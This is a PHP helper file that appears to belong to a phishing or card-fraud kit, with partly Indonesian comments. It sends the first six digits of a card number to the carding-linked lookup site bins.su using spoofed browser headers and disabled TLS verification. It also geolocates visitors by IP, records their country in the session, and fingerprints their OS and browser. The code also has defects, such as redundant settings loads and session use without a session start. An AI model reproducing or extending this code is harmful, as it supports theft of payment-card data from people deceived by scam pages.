<?php
error_reporting(0);

// Set HTTP headers for security purposes
header("X-BuildVersion: R3-2");
header("X-FRAME-OPTIONS: DENY");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

// Function to load and parse the settings from the configuration file
function settings() {
    $file = "core/settings.ini";
    if (file_exists($file)) {
        $settings = parse_ini_file($file);
        if ($settings === false) {
            throw new Exception("Failed to parse the configuration file.");
        }
        return $settings;
    } else {
        throw new Exception("Configuration file not found: " . $file);
    }
}

// Example usage of the settings function
try {
    $config = settings();  // Get the settings
    // Use the settings...
} catch (Exception $e) {
    // Handle exceptions gracefully (log or display error)
    echo "Error: " . $e->getMessage();
}

$settings = settings();  // Reload the settings again

// Function to perform BIN lookup using an external service
function look_bin($num)
{
    error_reporting(0);
    $num    = str_replace(' ', '', trim($num));
    $num    = substr($num, 0, 6);
    $url = "https://bins.su/";
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $headers = array(
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
        "Accept-Language: en-US,en;q=0.8",
        "Cache-Control: max-age=0",
        "Connection: keep-alive",
        "Content-Type: application/x-www-form-urlencoded",
        "Origin: https://bins.su/",
        "Referer: https://bins.su/",
        "Sec-Fetch-Dest: document",
        "Sec-Fetch-Mode: navigate",
        "Sec-Fetch-Site: same-origin",
        "Sec-Fetch-User: ?1",
        "Sec-GPC: 1",
        "Upgrade-Insecure-Requests: 1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/119.0.0.0 Safari/537.36",
        "sec-ch-ua: 'Brave';v='119', 'Chromium';v='119', 'Not?A_Brand';v='24'",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: 'Windows'",
    );
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    $postData = "action=searchbins&bins=$num&bank=&country=";
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
    // For debug only!
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    $resp = curl_exec($curl);
    // Check for cURL errors
    if (curl_errno($curl)) {
        echo 'Curl error: ' . curl_error($curl);
    }
    curl_close($curl);
    $pattern = '#</tr><tr><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td>#s';
    preg_match($pattern, $resp, $matches);
    $brand     = ($matches[3] ? $matches[3] : "unknown brand");
    $type      = ($matches[4] ? $matches[4] : "unknown type");
    $level     = ($matches[5] ? $matches[5] : "unknown level");
    $bank      = ($matches[6] ? $matches[6] : "unknown bank");
    $data = strtoupper($num . " " . $brand . " " . $type . " " . $level . " " . $bank);
    return $data;
}

// Function untuk mendapatkan IP pengguna
function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    // Tentukan IP pengguna berdasarkan berbagai variabel server
    if (filter_var($client, FILTER_VALIDATE_IP)) {
        return $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        return $forward;
    } else {
        return $remote;
    }
}

$ip = getUserIP();  // Ambil IP pengguna

// Jika IP adalah alamat lokal (localhost), ubah dengan IP eksternal untuk pengujian
if ($ip == "127.0.0.1" || $ip == "::1") {
    // Ganti dengan IP eksternal untuk pengujian, misalnya Google DNS
    $ip = "8.8.8.8";  // Gunakan IP publik seperti Google DNS untuk pengujian
}

// Function untuk mengambil detail IP (negara, kota, dll.) dari API eksternal
function get_ip($ip) {
    $url = "http://ip-api.com/json/{$ip}";  // API gratis ip-api.com (tanpa API key)
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Pastikan SSL tidak memblokir dalam pengujian
    curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); // Pastikan menggunakan IPv4
    $resp = curl_exec($ch);

    // Cek apakah permintaan cURL gagal
    if (curl_errno($ch)) {
        return null;
    }
    curl_close($ch);
    return $resp;
}

$details = get_ip($ip);  // Ambil detail IP dari API eksternal

// Jika gagal mengambil detail IP, tampilkan pesan error
if ($details === null) {
    echo "Failed to retrieve IP details.";
    exit;
}

// Decode respons JSON dari API
$details = json_decode($details, true);

// Jika 'country' tidak ditemukan dalam respons, tampilkan pesan error
if (!isset($details['country'])) {
    echo "Invalid response from IP lookup API.";
    exit;
}

// Ambil data relevan dari respons API
$countryname = $details['country'];
$countrycode = $details['countryCode'];  // Perbaikan field untuk country code
$citykota = isset($details['city']) ? $details['city'] : 'Unknown';
$regioncity = isset($details['regionName']) ? $details['regionName'] : 'Unknown';
$calling_code = isset($details['countryCode']) ? $details['countryCode'] : 'Unknown'; // Kode negara
$connectionisp = isset($details['isp']) ? $details['isp'] : 'Unknown'; // Untuk ISP, bisa didapat dari field 'isp'

// Simpan data negara di session untuk digunakan di halaman lain
$_SESSION['country'] = $countryname;
$_SESSION['countryCode'] = strtoupper($countrycode);  // Simpan kode negara dalam session
$_SESSION['countryCode_lower'] = strtolower($countrycode); // Kode negara dalam lowercase
$_SESSION['regionName'] = $regioncity;

// Cek jika nama negara kosong, coba ambil data lagi
if (empty($countryname)) {
    $details = get_ip($ip);
    if ($details === null) {
        echo "Failed to retrieve IP details again.";
        exit;
    }
    $details = json_decode($details, true);
    if (!isset($details['country'])) {
        echo "Invalid response on retry.";
        exit;
    }

    // Ambil data dari respons baru
    $countryname = $details['country'];
    $countrycode = $details['countryCode'];
    $citykota = isset($details['city']) ? $details['city'] : 'Unknown';
    $regioncity = isset($details['regionName']) ? $details['regionName'] : 'Unknown';
    $calling_code = isset($details['countryCode']) ? $details['countryCode'] : 'Unknown';
    $connectionisp = isset($details['isp']) ? $details['isp'] : 'Unknown';
}

// Function to detect the user's operating system from the user agent
function getOS() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $os_platform = "Unknown OS Platform";
    $os_array = array(
        '/windows nt 11/i'     => 'Windows 11',
        '/windows nt 10/i'     => 'Windows 10',
        '/windows nt 6.3/i'     => 'Windows 8.1',
        '/windows nt 6.2/i'     => 'Windows 8',
        '/windows nt 6.1/i'     => 'Windows 7',
        '/windows nt 6.0/i'     => 'Windows Vista',
        '/windows nt 5.2/i'     => 'Windows Server 2003/XP x64',
        '/windows nt 5.1/i'     => 'Windows XP',
        '/windows xp/i'         => 'Windows XP',
        '/windows nt 5.0/i'     => 'Windows 2000',
        '/windows me/i'         => 'Windows ME',
        '/win98/i'              => 'Windows 98',
        '/win95/i'              => 'Windows 95',
        '/win16/i'              => 'Windows 3.11',
        '/macintosh|mac os x/i' => 'Mac OS X',
        '/mac_powerpc/i'        => 'Mac OS 9',
        '/linux/i'              => 'Linux',
        '/ubuntu/i'             => 'Ubuntu',
        '/iphone/i'             => 'iPhone',
        '/ipod/i'               => 'iPod',
        '/ipad/i'               => 'iPad',
        '/android/i'            => 'Android',
        '/cros/i'               => 'Chrome OS',
        '/blackberry/i'         => 'BlackBerry',
        '/webos/i'              => 'Mobile'
    );
    foreach ($os_array as $regex => $value) { 
        if (preg_match($regex, $user_agent)) {
            $os_platform = $value;
            break; // Stop the loop once the OS is found
        }
    }
    return $os_platform;
}

$os = getOS();  // Get the user's operating system

// Function to detect the user's browser from the user agent
function getBrowsers() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $browsers = [
        'Chrome' => 'Google Chrome',
        'Firefox' => 'Mozilla Firefox',
        'Safari' => 'Apple Safari',
        'Opera' => 'Opera',
        'Edge' => 'Microsoft Edge',
        'Internet Explorer' => 'Internet Explorer',
    ];

    foreach ($browsers as $key => $browserName) {
        if (strpos($userAgent, $key) !== false) {
            return $browserName;
        }
    }
    return 'Unknown Browser';  // If no browser is found
}

$br = getBrowsers();  // Get the user's browser

// Function to generate a random string of a specified length
function generateRandomText($length) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}
?>